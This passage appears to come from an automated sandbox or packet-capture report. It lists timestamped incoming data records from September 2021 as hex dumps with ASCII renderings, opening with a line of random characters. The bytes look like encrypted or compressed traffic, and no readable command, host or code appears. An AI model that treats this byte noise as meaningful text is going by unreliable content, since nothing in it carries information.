7912oENj"=gR2mwm[_fbvdB/$LltWtH-c>Gb}4p1dgnGcYN*<>MU%,}yoS]cnS1)/!y,XZaE9#j-I G.>sn3Ypbp.ZUi
2021-09-27 18:33:23 UTC	633	IN	Data Raw: a5 f6 cc 7d 13 24 4e 50 ca b1 28 6f e7 9a ab 85 cc a1 6a 0f 22 d3 bd 38 ba 6a 5c 39 76 1a 90 bd af 0a 57 9c 8a ea 76 2f 12 13 25 6f b0 f4 82 7b 05 f4 16 24 c0 fb f1 59 2d ab a5 d5 a1 26 de 33 01 9f ff 05 b6 ee 16 7a 83 a6 90 e6 2b 76 eb 67 6b ab 03 00 ac 0a cf e6 0f 08 e8 17 4f f1 de 3e 34 79 3a c0 c9 60 4e 18 c9 13 9f 3f 3d 2a c0 a2 7c 0c f4 e7 85 7e 74 ef 7f 84 e3 86 f7 23 f4 81 12 b1 cc 4b 14 1b 68 3c 20 2e c2 82 0e 0d 8c ed a6 16 05 a2 b3 05 bd fd f6 58 15 98 0b 62 4f fc d8 85 28 c0 ad d4 ad 1b 78 1a e7 f9 d2 f2 ed 69 ae 9d 4b c7 19 00 3f 2c c1 f6 5d 60 4f fa e2 18 09 d1 0b 2b 2f 5d da 2c d3 d7 b8 64 5e 4d 43 ce 2f d2 2a 7c a6 1d 7f 9a d8 33 28 a6 d6 23 2c 8f a2 f7 7e 36 5f de 9b 86 4a 7c 19 68 2b e7 83 1d 7c 94 60 e3 63 c2 76 01 a6 76 f6 fb d5 6f cb Data Ascii: }$NP(oj"8j\9vWv/%o{$Y-&3z+vgkO>4y:`N?=\|~t#Kh< .XbO(xiK?,]`O+/],d^MC/\|3(#,~6_J\|h+\|`cvvo
2021-09-27 18:33:23 UTC	634	IN	Data Raw: 97 46 51 cc 4a de 3a a3 32 c3 d5 77 f3 96 eb 7c 79 82 04 35 72 39 3d 2b 42 27 9e 41 09 a5 2c fd 93 76 f7 5b 26 d7 a8 aa a3 85 5c 40 13 e5 7b ac 5b 62 bb d9 e7 8d 47 f7 16 ea 10 04 8c 74 4d b2 18 46 da 9e d0 43 36 52 e0 18 1b 6e b1 2a c0 ab a0 bc 74 95 2c cc 71 99 65 38 2b 5c 53 f1 c2 fe d6 ef 65 d5 bb f8 23 90 e1 36 c1 4f 48 76 27 c4 8a d8 76 35 b3 37 0e 4c a5 19 48 ef 05 2f 67 71 4f 31 a2 13 9b 47 12 45 87 75 b5 16 b4 09 c2 98 c2 74 65 cb ee 58 dc 52 99 4b 04 33 df b6 98 d2 51 39 ae 83 3a 35 21 7e 1c 0b dc 1f 6b b2 3a 0e 04 1c 38 01 c4 98 da 3b 02 dd 9a 4c 87 64 fa 24 e1 22 75 b6 39 87 0c f0 ec 13 45 b9 bc 66 33 3c 23 7a a6 c9 c6 45 49 f0 3c 1f 6f ba a0 b8 47 c3 7b 1b 72 3a a2 8e 57 b2 92 e6 32 23 ce 40 b3 09 81 7b 84 f7 7f 9f 4a a7 ed 0b 8f 5a 5f 2c a7 Data Ascii: FQJ:2w\|y5r9=+B'A,v[&\@{[bGtMFC6Rn*t,qe8+\Se#6OHv'v57LH/gqO1GEuteXRK3Q9:5!~k:8;Ld$"u9Ef3<#zEI<oG{r:W2#@{JZ_,
2021-09-27 18:33:23 UTC	636	IN	Data Raw: 63 de 29 57 2e 84 e0 23 c9 cf a3 10 18 0a 27 bb 24 e0 1c e6 d2 dd a9 39 a0 96 fa c1 05 20 fc c5 f2 33 33 46 2e 5a 79 af e8 82 13 87 7f 37 8f 6c 8b fa e4 d1 6b e4 32 af 84 67 b6 60 01 a6 fb 4c 1f 13 62 6b b4 fe c0 c1 85 83 32 cb 95 5c f0 87 8d 30 d8 32 d6 b7 7d 7d 4e 0a da 98 a1 df 15 f9 67 7c 15 85 24 e3 3b 70 3d 2c da 11 56 ae 74 06 d3 8f 62 56 7c 4a 85 ec 39 35 2b 43 20 d6 0c db b5 60 b7 d4 24 f9 73 f1 7d 45 6d 5c 61 fa 04 bf ff 5b c8 91 c0 48 bf d7 74 d9 93 f5 f7 e0 34 82 f9 38 17 b0 e8 31 f7 98 78 e8 c9 c4 61 dc 9c 0b 97 37 9d 6c 1f 02 d8 f0 95 93 ed 11 2c 16 7b 56 a1 5e ea b6 e8 bb 33 49 c2 a0 d7 7e c1 85 f1 b0 f9 eb ac 5e ef 20 e8 1b 69 83 43 dd 94 d0 fc e5 7b 12 29 ab ab 27 be b0 af f3 b2 53 b1 0f 97 58 99 85 31 47 07 11 3f 3b e5 30 d5 02 6c 24 ef Data Ascii: c)W.#'$9 33F.Zy7lk2g`Lbk2\02}}Ng\|$;p=,VtbV\|J95+C `$s}Em\a[Ht481xa7l,{V^3I~^ iC{)'SX1G?;0l$
2021-09-27 18:33:23 UTC	637	IN	Data Raw: d0 5f 63 0e f1 48 b2 a9 c1 2a 23 74 20 5d 77 8d 49 f5 42 63 cc 4c a7 ee 44 a8 b7 12 0d b7 c7 dc e6 78 df 9b f7 d6 8a e7 8a e0 23 48 a9 db 22 b0 85 6d 0f 0b c1 5b 4a 88 3e ee ee fe d6 f1 be ca e4 ae b5 15 97 44 58 db 8b 7a 16 08 18 33 10 ec 4c 7b 92 d9 7c c9 f0 ea 17 91 71 83 95 4b f0 ec 15 07 13 b6 8c e2 1e 3b e4 29 5a 70 33 12 36 86 1f 76 fb 56 6f 1c 3f 0c 0e 1b 78 5e 34 9d 11 89 c5 23 a6 8f ac 59 5d cb d3 b3 37 07 85 c9 6d 98 cf ca 5d f3 4f c3 dd 5c 8d 81 81 9e 0e b1 d1 0e b9 bb 91 93 95 fb 48 8e e9 3d e3 4f ed 69 bc b1 a6 56 42 a5 12 f7 ca af 15 85 cd 0a 0d 8c fd 48 b1 36 9b a8 17 1e f1 7a 28 ee 15 83 88 f2 f3 cc da 09 84 d9 03 4a b8 e1 3f 6e a0 c1 d4 bc 91 96 2e d9 99 83 5f ce 6f d1 27 74 92 9f 2b 96 68 46 9b 54 61 65 9f 3d e1 d4 d9 7a 4a 77 2a 8f 87 Data Ascii: _cH#t ]wIBcLDx#H"m[J>DXz3L{\|qK;)Zp36vVo?x^4#Y]7m]O\H=OiVBH6z(J?n._o't+hFTae=zJw
2021-09-27 18:33:23 UTC	638	IN	Data Raw: 30 e5 59 06 e4 e7 9c c1 21 06 3d 62 79 24 c9 69 93 7f a5 d4 28 cb c2 64 f5 f3 48 e9 af ad 47 03 00 84 fe fc fd a3 59 0f 86 e9 35 96 ce 7a 25 56 a7 c7 f8 48 3f 4c 95 91 75 b9 dc 13 b2 70 4c 91 57 e3 2f dd a0 0e 85 21 f2 37 70 23 0e c9 09 a5 29 46 cb d0 12 63 0e 30 d3 9f 07 97 b3 84 e9 83 74 94 42 99 8f d5 ad a5 97 e2 09 a5 2c fc fd 74 da ce d5 ab 1c 32 eb 95 c4 78 49 8a 84 e5 5e 90 89 7c 1c f4 25 79 2d 54 c1 82 1d 31 49 2f 62 ff 90 c6 61 fb b6 70 37 38 a6 63 66 74 96 51 ae 91 53 e1 e9 1b 22 88 36 d3 ad db 61 70 20 e8 1b 45 2a ee 17 66 ea 1a f7 d7 df 90 13 22 f7 1b e0 5b db 16 f1 6b ed 74 ea e8 07 e3 b9 31 fa a2 a6 ba 69 03 22 e1 f7 f5 33 37 b5 c5 f5 4b 23 4f dc 14 20 09 c0 fd 59 f3 b8 e2 02 f0 da 2d 70 10 2b a8 a6 75 a2 a9 eb ec 1d 4e 47 f6 db 08 23 69 0b Data Ascii: 0Y!=by$i(dHGY5z%VH?LupLW/!7p#)Fc0tB,t2xI^\|%y-T1I/bap78cftQS"6ap E*f"[kt1i"37K#O Y-p+uNG#i
2021-09-27 18:33:23 UTC	640	IN	Data Raw: 69 af a8 34 bd e0 8e dc 9b 6f 5b f1 bc cb 2c 39 21 79 ba 92 01 5a 6d a7 9b f5 00 c7 28 d2 44 27 f3 7e 29 af 94 25 76 09 66 8e 0b 93 5d ca 68 c6 9a 35 3a ac 21 1b 6d aa 9b f7 d6 d0 4b 01 b9 c1 52 e3 ed 77 9b 52 4a 60 02 c5 e8 0f 5d 74 16 27 6f 6b 51 d8 a0 7d 2c 54 65 18 21 a4 5e d8 d4 2b 56 7b 8c c0 15 2f 0e 1a f1 7e 0f a8 14 bb 10 e8 0a 21 59 72 4f ef 6e 21 7b 99 79 56 d8 dc d2 4d 11 67 5f 31 53 f2 37 7c 0f 56 70 9d 7b 84 d3 fb 54 42 be df ca bd e3 85 71 a0 54 eb 17 81 8f ae 34 99 81 2b 04 39 5c c5 d5 0a d8 11 4e b8 03 b5 bb 4f 14 33 6d a3 2f 42 91 98 0f 78 e3 95 42 a8 e0 07 91 74 cb 7c a6 ae 86 3c 07 a3 8a 7f dd 3e 6d 0d 71 46 80 16 c2 da d0 64 76 34 59 32 54 70 3b 9d 3c 51 db 4b a0 59 f5 7d 3b 99 b2 4b 32 d9 a9 8b 51 c9 ea e4 be 80 09 b6 41 6d a7 19 57 Data Ascii: i4o[,9!yZm(D'~)%vf]h5:!mKRwRJ`]t'okQ},Te!^+V{/~!YrOn!{yVMg_1S7\|Vp{TBqT4+9\NO3m/BxBt\|<>mqFdv4Y2Tp;<QKY};K2QAmW
2021-09-27 18:33:23 UTC	641	IN	Data Raw: a3 1b 86 48 66 45 16 cf 0e 09 b1 00 29 7b 7a a4 47 03 a7 8a c8 48 9d 4b 36 79 55 83 7c 07 b8 60 91 96 c6 59 e5 91 7a f8 98 28 c8 4a 48 4f 82 1c fe c2 71 91 64 b0 01 bb fc d5 77 3b 00 f0 57 f9 a9 fa ef 7b 91 79 d6 29 e6 a9 31 42 9a c4 3a b3 32 3e a5 c8 49 01 01 2d 4e ce f4 9f 2b 48 8d 70 14 23 8e 11 72 22 f8 b1 14 5d ce a2 49 f0 f5 79 27 c2 ab b0 81 98 5c f7 30 ca 76 ac 28 d9 a3 24 e2 37 de ca a6 bb e9 42 34 b3 c9 6b d9 bc 65 d1 d7 8b 53 11 0f 78 17 91 e0 8e e4 d8 37 37 16 14 b0 60 5b db ba 2c e0 03 bf ee 3d 9a cb c1 ff 40 9e 0f b7 03 9b 63 36 b1 19 6f b0 2e 67 c5 5a f0 ea b4 0a 33 2e da 9b 3b 24 ce 7e ef 80 93 4d 10 d8 aa a3 72 27 ec bd ff 40 bf ef 29 54 5e b0 c0 92 de 35 f1 d8 2c 10 d8 4c 9e b6 91 4b 3d 1e 0b a6 4b 01 b9 a8 87 77 85 64 8b a0 ae 93 59 e6 Data Ascii: HfE){zGHK6yU\|`Yz(JHOqdw;W{y)1B:2>I-N+Hp#r"]Iy'\0v($7B4keSx77`[,=@c6o.gZ3.;$~Mr'@)T^5,LK=KwdY
2021-09-27 18:33:23 UTC	642	IN	Data Raw: dd b3 03 b7 20 35 24 f1 74 23 55 c2 f5 16 ad 3d 05 03 84 ba ed 53 81 48 aa 15 6d 0d 79 90 d1 c3 e6 31 2e 69 eb 9f 27 5e 58 4b b8 b1 fa f4 fb 4f c3 76 68 c2 68 2d 4e 72 8d 04 34 aa b6 84 fc e1 52 ca b5 14 1a e8 e1 2f a6 b7 0d 2a 88 ef 2e ca 93 98 39 3d 34 bf cf f1 80 32 3b 3a af 7b 06 0c db 1a 1a e9 9a c4 4c 43 af e9 94 c1 fc e6 28 eb 48 31 4b 15 85 77 63 10 ff 42 8d 23 69 02 87 81 91 4d 10 2e 0b 5e aa b4 85 6e 08 1a 03 04 d7 bf ea 4d 1e 4d c5 79 80 06 3c 93 9c d8 8d 12 f2 cd 7d 3f d4 37 35 38 80 27 61 7f e1 74 32 7b 10 19 99 94 c8 54 60 91 c0 54 bb 69 f7 6f 96 11 6b 9b e8 5e 5a 41 1f 72 02 c9 b4 70 3c b8 1a 55 5a f5 76 a9 be 70 98 6c b6 48 64 40 a3 3a 9b f6 45 a7 d1 f3 ef 66 72 47 a5 c6 62 fa 05 1d 8a c0 6d a1 35 1f 11 3e e2 07 b0 92 da 01 7d 4b d7 a6 ba Data Ascii: 5$t#U=SHmy1.i'^XKOvhh-Nr4R/*.9=42;:{LC(H1KwcB#iM.^nMMy<}?758'at2{T`Tiok^ZArp<UZvplHd@:EfrGbm5>}K
2021-09-27 18:33:23 UTC	644	IN	Data Raw: a4 8a fb 09 20 dd bf 0c 0e 88 f8 0b e9 53 d3 91 0d 52 1f 46 c1 8e 77 d5 8b 54 9f 7f 16 6b ee 18 82 b7 7e b8 8a 55 3a 81 b0 90 a9 e6 3f d7 4a 63 dc d9 03 fc 9d d1 c6 ea a2 3c 3a f7 2e 1d 48 d7 5d bd cf d2 de 8e 35 24 c2 5a 7a 3a b0 0b 2e 41 89 ab 60 e1 5d 86 69 91 c4 8d 26 47 3a ab af 53 f0 bc 33 65 03 59 8f 61 b1 4e 4a 57 39 d2 f7 8d 20 9d 81 cd c1 1c 20 48 a3 f7 70 3a 51 f8 49 57 68 5b 6d a0 f2 e8 82 4a d6 5e 6c 96 16 4e af 72 aa 42 ec 26 d8 2b 45 29 d8 5b b1 0f a8 58 fd e1 62 ef 84 4a 5c 1f 80 26 56 68 be 1c 5d 4a 25 ae 98 66 97 5c 33 90 03 1b 72 cf 80 fb a2 3b 1f 3d 5b 23 81 39 76 c2 22 d9 2c 32 bd b2 7f ed 2a 59 93 4b c7 1d e7 ba 57 82 87 d8 1b 1a b7 16 06 11 bf 38 91 65 0b be 6e 5a fc 8d cf f3 f6 07 ac 8a 51 0d a7 7c d1 42 fa 0b 10 d2 97 f0 54 6c 8a Data Ascii: SRFwTk~U:?Jc<:.H]5$Zz:.A`]i&G:S3eYaNJW9 Hp:QIWh[mJ^lNrB&+E)[XbJ\&Vh]J%f\3r;=[#9v",2*YKW8enZQ\|BTl
2021-09-27 18:33:23 UTC	645	IN	Data Raw: 67 dc 25 74 ea ad 19 5d 4d de 9f 83 77 a9 b7 27 47 93 96 bf 30 5e 71 66 b4 42 7e 3e 9e 78 53 f8 d0 60 af d0 f3 60 43 3b ce 19 be 63 cf ed 87 15 d2 56 7d e3 09 e0 f8 17 4a 93 66 79 53 8e 0e a1 46 71 2a bc 95 e6 67 34 7c 7c e5 50 09 b0 28 60 db a9 23 66 68 f5 a9 9f 3e b4 9b 69 27 22 19 72 33 28 cc e5 fe 34 aa ab 11 83 94 12 54 6e 31 f5 83 c3 78 3a 1c f3 2b 64 1d 5d d9 1a 3b 1b 99 73 9b b8 b0 2b 58 6d 9f dc 9b 83 72 36 7a 89 73 47 e6 20 df 6d 5c 7f 25 18 a0 fd 1e db cc 45 61 4b b7 7f 2c 4e 47 36 9d f6 1d c6 b9 eb 8a f9 74 0a 0a 4f 65 84 e7 91 4c 91 70 ee 3d 3c a6 bf f8 de 0d 2f c9 24 e5 9d 53 19 54 e9 97 4e b7 ad 0d 72 76 e7 8a ff e7 6f 19 2d 40 18 1c eb 43 ea 12 1e e3 2b 59 58 d0 8c 53 ef b0 0d 9a d0 52 c8 ca 5f fd 5d cb c0 6c fb ff 54 72 3a 4a 06 bf fb 4e Data Ascii: g%t]Mw'G0^qfB~>xS``C;cV}JfySFq*g4\|\|P(`#fh>i'"r3(4Tn1x:+d];s+Xmr6zsG m\%EaK,NG6tOeLp=</$STNrvo-@C+YXSR_]lTr:JN
2021-09-27 18:33:23 UTC	646	IN	Data Raw: 1e cb c0 67 e4 f8 66 59 e7 82 3d d1 47 17 95 53 de cf 18 0b 8e f5 51 0d 46 9e bc 68 1f 93 db b1 00 2b 75 42 b4 91 4f ff e4 b8 08 4e a7 10 06 2b 51 b4 85 03 68 2e cf ca 54 39 3c cd 14 cb d1 d3 af 55 c3 88 71 bc 61 dc 38 e7 92 6b 3b 85 73 a6 a2 c6 ae cd cb 7d 33 52 56 76 12 15 90 ca 44 b7 3b 12 39 a2 03 a4 b0 07 ff 39 6d d5 fc f1 b3 f7 a7 ec 07 94 ed 55 29 07 bc bd 75 00 26 ce 5b 18 7a 10 a2 5e 46 d5 fd e3 20 f2 f2 f3 71 1d ed 30 99 56 fc 6b 37 93 19 ed 43 0d 2b 97 52 c5 f7 62 f7 6e 23 b4 85 6a 6d 86 46 af 1d 5b 1a 4b 0d 9d 51 e6 2d 42 44 56 ab 34 ea fb 7b 82 3f c1 52 d8 3d 35 ff 98 d4 34 bd e4 0d 28 d5 d4 a5 95 fd 5c 97 0e 0e 05 32 d6 34 a9 34 a8 13 4b 06 37 30 c9 8f 71 96 67 00 6d 84 eb 84 cd 40 a7 2c c1 f8 c0 4c 23 56 af aa fe e3 8f 77 ba a2 b0 98 c9 d9 Data Ascii: gfY=GSQFh+uBON+Qh.T9<Uqa8k;s}3RVvD;99mU)u&[z^F q0Vk7C+Rbn#jmF[KQ-BDV4{?R=54(\244K70qgm@,L#Vw
2021-09-27 18:33:23 UTC	650	IN	Data Raw: 9b 52 5a 48 67 b8 a0 a8 b4 3a 66 09 a5 2e d7 7c b1 40 b4 98 dc e5 5b 99 44 85 78 d3 74 cd ca 42 8d a2 0e 28 d2 45 04 85 b3 e5 97 4f ff e3 2d d0 5b ca 44 23 d9 52 77 95 40 65 e1 57 2a 48 8f e2 d8 d2 45 1d 71 1f d6 de 30 c5 e1 e8 aa bc b2 3f 39 21 7b 27 04 25 61 88 f9 a9 e4 7e 2b 45 03 46 9b 86 77 ee cc 5e 49 be 41 ed 15 ab 36 bd 39 81 93 49 01 79 5a 55 fe d5 b4 b5 5d d6 84 3e 55 c3 a3 1c df 99 b3 c4 ef 79 97 f0 5a 75 dc 0d 7f d2 10 de a4 fd 43 0b 9c a6 8d 68 74 e2 65 16 a8 af 1d 70 76 12 5a 48 4c 41 24 ff 59 f1 4f c6 64 b0 1a 24 e7 80 c8 f8 f9 d7 00 01 a1 20 ec 2f 63 2c d8 b8 6e 20 5b 68 68 28 c4 6e 81 37 6b bd e2 11 dc 2c de 36 bb db 95 ef b1 b0 83 7e 0a 0c 39 1c 0f 5d 60 41 1f d3 21 57 20 23 42 8d 77 8b 4f df 4c c0 c2 64 45 d8 91 55 ca 72 13 48 64 73 3f Data Ascii: RZHg:f.\|@[DxtB(EO-[D#Rw@eW*HEq0?9!{'%a~+EFw^IA69IyZU]>UyZuChtepvZHLA$YOd$ /c,n [hh(n7k,6~9]`A!W #BwOLdEUrHds?
2021-09-27 18:33:23 UTC	655	IN	Data Raw: 29 e8 9a df 8f d3 ba 10 31 a6 44 12 1c f5 f7 10 0d 9a d0 8c 74 2f 73 6b a0 d3 9e 9d 9f 83 46 50 55 ee c9 eb 04 d4 04 fd 19 73 82 3a 45 87 ae 89 70 36 10 3c 80 ed 70 a0 a8 b4 3a c0 7a 51 f5 5e 7d 71 9e 60 43 08 04 d2 9b c1 fb 5d 12 4c 8d da 81 b0 ab a2 e4 66 42 b9 a7 21 41 a3 40 91 0b 8d 5b 20 58 bd e2 11 0f a0 b6 96 d2 f0 55 ff 6d 33 3c d2 05 ad 39 1c 0f 6f 76 0c 1f d3 21 63 f0 dd 83 d6 a2 8f af eb 33 c4 60 7c 6d 12 39 19 cf 8d 72 e1 e3 6d 08 4b ed ca 3a a9 94 a8 b9 b4 91 ee 94 3e 9b 20 02 18 36 14 75 5c 3b 12 b9 d8 db 92 40 df 51 e0 18 c8 7b 86 1d 0f 18 1d 78 a9 e1 91 61 ef 58 84 8f e7 9c c1 c9 64 7d 7d b7 3e 4d 61 59 ec 06 98 a1 37 fb c1 b4 38 fc cb ca e7 d4 3b 77 9d 88 b8 7e bd c2 63 79 85 58 04 07 e0 3e 1a c8 01 a6 ce f5 32 da 05 44 0e 9a d3 a9 91 59 Data Ascii: )1Dt/skFPUs:Ep6<p:zQ^}q`C]LfB!A@[ XUm3<9ov!c3`\|m9rmK:> 6u\;@Q{xaXd}}>MaY78;w~cyX>2DY
2021-09-27 18:33:23 UTC	659	IN	Data Raw: b0 b7 f9 55 e8 1d 62 f2 6e 12 43 1d c5 24 41 21 aa 6b a2 55 e0 0a 18 fd 64 c7 d0 4f 39 83 11 8a 1e e3 87 c9 7a 0f b9 15 09 76 1a ea 53 ed 28 db 69 7d 9e b3 1e e4 2e 79 2e d8 c4 66 4a b7 2b b6 b2 96 d0 53 3b b1 30 80 0e de 49 a8 9b f5 ac fd 5d c6 50 43 e6 1e 7f 99 41 d5 71 d9 c3 e0 12 1f ad 84 e7 b4 61 9a 10 1b 7d d9 af 41 0f 56 d1 cf d4 31 51 cf 7d 3f 52 79 9c c6 7c 34 56 84 ea 18 01 7e a7 08 63 cf 02 1b db 97 ff 9c e0 e5 90 c3 c6 a1 96 58 76 0f 23 f1 7f 43 ac e3 b4 63 d3 bf d7 4b 6c ec 01 bf af 0a 76 0f 26 16 0b 9c de 29 6e 82 cc 7f 63 c6 56 41 3b d6 e5 99 5b c0 d0 e9 be f8 ea 04 38 b7 21 d9 4a a8 05 e0 c7 8a c8 e8 e8 c2 83 72 20 e7 8b 4d 3a c3 78 4e 62 43 0e 0f b9 3f 9d ba 7b 82 11 ae bc b1 aa 57 f0 f5 79 68 3c 39 20 e6 de 6b bf b9 f1 3f 3a 12 c4 81 91 Data Ascii: UbnC$A!kUdO9zvS(i}.y.fJ+S;0I]PCAqa}AV1Q}?Ry\|4V~cXv#CcKlv&)ncVA;[8!Jr M:xNbC?{Wyh<9 k?:
2021-09-27 18:33:23 UTC	661	IN	Data Raw: cf d7 a6 bb e8 2f 6b 55 db 1c f4 e2 d6 94 c6 0f 8e 26 1c fd 56 6e 21 3e ea 3b c6 61 06 36 b4 41 b1 09 16 b9 8a ec 00 34 ae b9 d9 48 ed b6 92 cc 0a 22 ae 84 3a 67 db bd e0 1c d9 9a 32 32 b5 11 84 30 68 14 f9 cd e6 b3 f1 d3 08 e0 30 c4 75 a0 f2 e3 2c 46 80 01 a6 b8 7d c7 d5 7c f9 3d 5d ff 2a 77 a1 f8 0b a2 6b cf 99 4a 96 d1 9e f5 29 57 57 22 e4 03 a3 22 d4 16 ed 86 f6 e6 04 f9 c9 d2 f5 dd 18 10 1c e4 a2 29 0c 8b d7 13 9f 2c d0 46 99 bb 54 bb b8 79 95 7f 48 a0 a1 33 f4 4e 6e 20 e6 74 8f 2a cd c1 e5 83 4c 41 d6 2e 32 c0 6e 16 38 06 92 cb 3a ad 18 ea 33 fc cf df f3 6c 28 d2 4a 4d cb d4 3c a4 be 2a d5 80 a8 1f 67 c2 6e 34 ac 65 a3 8b 69 bd b4 e6 de 1a 2c 80 16 39 a3 44 10 1c 0c 78 da 3d 39 f3 1a 2d 08 35 16 e5 97 c0 7d 9c 95 51 b2 83 c2 a9 37 db bf ff 6b 9b a7 Data Ascii: /kU&Vn!>;a6A4H":g220h0u,F}\|=]wkJ)WW""),FTyH3Nn tLA.2n8:3l(JM<*gn4ei,9Dx=9-5}Q7k
2021-09-27 18:33:23 UTC	665	IN	Data Raw: 2a 68 29 41 d9 19 c3 70 0c d4 c8 03 ab 2d 79 51 01 89 da 12 5c 01 71 82 49 4a 87 22 eb a4 96 27 9a 8c fe d7 70 7d 91 1e e7 c7 c9 d0 02 35 7d 90 ff 69 3d 3b d4 66 13 86 f2 bb 31 93 25 0b c4 62 1c e1 b0 bb 3b 5e 50 80 29 1a e9 8b 2c bd 3e 89 1d 26 cb 84 ed 58 45 d5 cc 55 06 95 1f 71 aa 68 93 77 dc fe c0 6d 6e 65 d6 60 51 db 80 bf 98 cc b0 ee b1 01 bc 38 06 ca 42 54 39 21 31 44 ad 27 9a bd e0 ff 0c 50 68 2e 9c b2 4b 7d 8c 27 34 14 5a 71 94 44 e0 89 7f 72 db 1f 7f 96 13 4e d6 72 2d 60 b3 94 6d a2 a5 9d 68 ae b8 4b e1 7c c8 4c 92 69 19 c8 c2 15 4f 1a e6 db 53 f2 e4 02 f1 0a 29 1a 7b ac 65 8b 24 e1 9c ef 23 6a 6a 2c e9 b0 6b 1c a1 33 30 91 2c 1e 40 ce 4b 13 9a 82 01 9a 09 da 24 4f 35 59 e7 8f 61 cd 28 5e 95 46 81 32 7e 70 28 d7 a7 6e 33 02 c3 aa 18 17 82 c3 52 Data Ascii: *h)Ap-yQ\qIJ"'p}5}i=;f1%b;^P),>&XEUqhwmne`Q8BT9!1D'Ph.K}'4ZqDrNr-`mhK\|LiOS){e$#jj,k30,@K$O5Ya(^F2~p(n3R
2021-09-27 18:33:23 UTC	669	IN	Data Raw: 89 86 33 5e a6 18 6b 53 db 1e 85 8a 2f 3a 0b 5c 2c 73 1d 08 8c c7 1d 08 bc b9 82 18 28 6c f3 9f 02 f1 be f4 59 27 55 f0 54 53 d6 f6 50 93 9d 88 ee f5 6c 21 ea 7b 96 6e 43 13 b3 a7 45 dd a4 35 44 30 dd b2 9a d2 ea 6a d0 5c 59 fd 4b 9e ce c3 d4 3c 80 11 0b e3 10 57 ec 5f c4 cb bf 6d fb 5c 01 bb 56 00 e2 47 1e c2 6d 72 02 33 fc 6b a0 b1 10 04 cf d7 fc d8 3a 6e fa fd 5e 4a 8a ab 10 ae b1 bd 6a df 9c 73 ba 27 77 7c 1b 33 33 2f 12 04 0b 60 7e d0 47 06 93 f6 db 60 10 1d 78 51 8b a3 74 30 46 88 43 38 02 1d 3e 97 08 2a ea bb 4d 33 06 c3 eb d1 cb d5 08 1d bc 4a a2 5c d7 fb 52 60 6c cb 0c 5a 6a 31 fb a1 f8 45 38 ae 73 50 56 da 9e 46 d7 bc b3 66 ce 74 1f 85 2f 1a e6 1c 3e 09 a5 e7 2c 90 f1 c9 f3 77 5e 1e e6 23 4f c7 24 18 05 ac 95 7e f2 4c c4 70 2e 77 04 3d 26 7b 12 Data Ascii: 3^kS/:\,s(lY'UTSPl!{nCE5D0j\YK<W_m\VGmr3k:n^Jjs'w\|33/`~G`xQt0FC8>*M3J\R`lZj1E8sPVFft/>,w^#O$~Lp.w=&{
2021-09-27 18:33:23 UTC	673	IN	Data Raw: e9 9b 46 5b e5 75 57 d3 a8 a4 ae 2a da 09 a4 66 0a 32 c2 66 82 bf 2d 4c 94 c3 57 85 89 57 c2 ae 50 b7 18 10 0d 5c 61 3f d5 d9 b2 84 f9 d6 0c f4 59 cc 57 50 ed 62 89 62 58 77 8b a6 69 13 8a fc d8 84 63 c3 5e bc 61 d1 c2 10 1b 7d 94 c7 83 65 4c 83 7d 98 c0 de 4f 01 7b 84 e5 5b 1d 38 c5 8a e2 41 09 66 f4 bb 9c b3 08 6b bc c4 59 0d a5 00 fe dc 97 da 2a ec 3b 79 86 b9 f7 27 53 cf e2 fe b5 cc 4f eb 35 2b 7c 25 81 0c de 35 2b e4 6b 50 c7 79 fa c4 44 b7 b5 fc e2 82 e1 53 32 73 2b 9f ac 50 fb 63 08 d2 85 0e 08 ed 9a 85 40 cc 4e 0a 87 68 f8 a2 ac 8c f8 d7 d6 5b c1 24 f8 e4 05 b0 be 4f 4d 4a 98 59 e1 98 dd b7 d9 ad 1b 79 95 ff 51 e3 8f 77 2d 20 1e 66 3d 2c c3 e7 83 6e 9d 86 e0 16 05 34 c2 9f 00 2b 43 08 92 f2 0f e2 f8 a3 30 65 41 0d 95 58 9b f2 fc c9 d5 09 b6 85 31 Data Ascii: F[uWf2f-LWWP\a?YWPbbXwic^a}eL}O{[8AfkY;y'SO5+\|%5+kPyDS2s+Pc@Nh[$OMJYyQw- f=,n4+C0eAX1
2021-09-27 18:33:23 UTC	677	IN	Data Raw: 4e 7b ad 25 5c b6 cf cc 53 ff 9c 6e 34 99 6b 82 cf 26 e3 47 b0 e7 b1 dd a1 28 86 d6 f3 58 76 de 49 07 1a 3e b7 2c 16 32 d9 8b 52 4c 7b a0 b4 82 05 1f c0 7f b0 b2 a2 70 d0 60 cd 0e 62 3f 91 4b 1d 2d 7e cd e6 0a 95 23 6e 80 c6 5d e6 dd 86 e6 30 fa ce ae 3c b0 93 4e b7 9c d2 77 a3 07 1a 01 94 09 d3 2f 01 ce 82 5f da ad 03 00 84 e6 af 48 82 be 56 73 b5 c2 79 8d 1a ef 3d 23 4f c2 9e aa 99 48 8c 57 fc db 63 60 52 b8 64 4b 3b 19 40 16 ed 41 b3 60 f3 2c a3 f6 a0 a2 78 0f 25 5a 60 e5 c3 f9 a3 52 67 d8 83 7b 8f a6 b5 49 03 93 64 a2 1f 55 f3 71 63 d2 4c 3f 82 1d cc 54 68 1a d9 83 bb 11 be e3 f9 c9 89 04 83 3e b7 be 64 ff 2b 4e ca 18 1c 45 d5 b7 0e dd b7 08 1d 71 fe cb fd 74 c9 5d fc cf df 66 5d c5 55 7a 05 1f 77 95 6b 98 e3 5c a0 9c 5c 29 c8 1a a5 9e e5 9a 71 a2 70 Data Ascii: N{%\Sn4k&G(XvI>,2RL{p`b?K-~#n]0<Nw/_HVsy=#OHWc`RdK;@A`,x%Z`Rg{IdUqcL?Th>d+NEqt]f]Uzwk\\)qp
2021-09-27 18:33:23 UTC	682	IN	Data Raw: 16 9b 30 cd c8 e9 26 bc bb 42 7d 8e f2 e5 be 59 0f 13 f1 67 d3 0f 5b bc 55 f3 6c 3a 66 e8 12 31 bd b3 b5 03 bc bb 58 62 6e 1e c6 ec fe e5 0d 8a ca b4 a4 5b 37 30 68 c1 46 a6 62 ae 50 98 a9 39 3a a4 86 d1 f9 10 d8 b2 30 be 12 19 1c 86 49 58 15 ad bb 8e 03 f2 9b 72 73 7a f2 eb be 85 2b 06 fc 6b 89 ae 43 10 c2 17 93 7b 57 0e 2d 81 b1 72 4b 4d b6 a4 5a 72 23 fd 28 39 2b 50 19 2d 48 ea 13 a3 81 27 95 64 e3 0c 2c f4 18 a4 18 1c 35 6f e0 61 02 e6 74 28 2b 64 14 d2 ee 84 d5 68 26 d4 af 7f 0a 39 66 08 b4 a4 97 ba 2a 18 70 d4 04 90 fa 1f 4b 72 d9 dc 3e 00 51 cc aa 26 f8 f5 29 83 1c aa f0 85 85 78 40 b2 c7 47 64 03 ba 